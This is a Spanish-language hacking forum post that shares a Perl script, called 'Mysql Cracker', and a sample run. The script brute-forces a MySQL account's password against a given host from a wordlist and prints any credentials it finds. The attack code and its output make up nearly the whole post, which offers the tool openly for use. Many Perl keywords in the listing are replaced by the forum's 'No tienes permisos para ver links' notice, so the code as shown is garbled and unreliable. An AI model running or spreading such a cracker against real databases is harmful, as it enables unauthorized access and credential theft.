comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] Mysql Cracker

  • 0 Respuestas
  • 963 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 10:03:43 pm »
Bueno , aca les dejo un mysql cracker que hice en perl.


Código: Perl
  1. #!usr/bin/perl
  2. #Mysql Cracker (C) Doddy Hackman 2011
  3. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  4.  
  5. use DBI;
  6.  
  7. sub now {
  8.  
  9. $target = "dbi:mysql::".$_[0].":3306";
  10.  
  11. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n[+] Target : ".$_[0]."\n\n";
  12.  
  13. unless(-f $ARGV[2]) {
  14. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n[-] File Not Found\n";
  15. copyright();
  16. }
  17.  
  18. No tienes permisos para ver links. Registrate o Entra con tu cuenta(WORDLIST,$_[2]);
  19. my @words = <WORDLIST>;
  20. No tienes permisos para ver links. Registrate o Entra con tu cuenta WORDLIST;
  21.  
  22. No tienes permisos para ver links. Registrate o Entra con tu cuenta @words;
  23.  
  24. my @words = repes(@words);
  25.  
  26. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n[+] Wordlist : $_[2]\n";
  27. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] Words Found : ".No tienes permisos para ver links. Registrate o Entra con tu cuenta(@words)."\n\n";
  28.  
  29. for my $pass(@words) {
  30. if (my $now = DBI->No tienes permisos para ver links. Registrate o Entra con tu cuenta($target,$_[1],$pass,{PrintError=>0})) {
  31. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\a\a\n[+] Cracked !!!\n\n";
  32. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[Host] : ".$_[0]."\n";
  33. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[User] : ".$_[1]."\n";
  34. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[Password] : ".$pass."\n";
  35. copyright();
  36. }
  37. }
  38. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n[-] Sorry , Not Found\n";
  39. }
  40.  
  41. sub head {
  42. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n -- == Mysql Cracker == --\n\n";
  43. }
  44.  
  45. sub copyright {
  46. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n -- == (C) Doddy Hackman 2011\n\n";
  47. No tienes permisos para ver links. Registrate o Entra con tu cuenta(1);
  48. }
  49.  
  50. sub sintax {
  51. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n[+] Sintax : $0 <host> <user> <wordlist>\n";
  52. }
  53.  
  54. sub repes {
  55. foreach $test(@_) {
  56. No tienes permisos para ver links. Registrate o Entra con tu cuenta @limpio,$test unless $repe{$test}++;
  57. }
  58. No tienes permisos para ver links. Registrate o Entra con tu cuenta @limpio;
  59. }
  60.  
  61. head();
  62. unless(@ARGV < 3) {
  63. now($ARGV[0],$ARGV[1],$ARGV[2]);
  64. } else {
  65. sintax();
  66. }
  67. copyright();
  68.  
  69.  
  70. # ¿ The End ?
  71.  

Un ejemplo de uso seria

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
mysqlcrack>mycrack.pl localhost root c:/aca.txt


 -- == Mysql Cracker == --


[+] Target : localhost


[+] Wordlist : c:/aca.txt
[+] Words Found : 7


[+] Cracked !!!

[Host] : localhost
[User] : root
[Password] : root


 -- == (C) Doddy Hackman 2011 == --


« Última modificación: Julio 17, 2011, 03:41:19 am por Sthefano02 »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3156
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1472
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1103
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1251
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1600
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d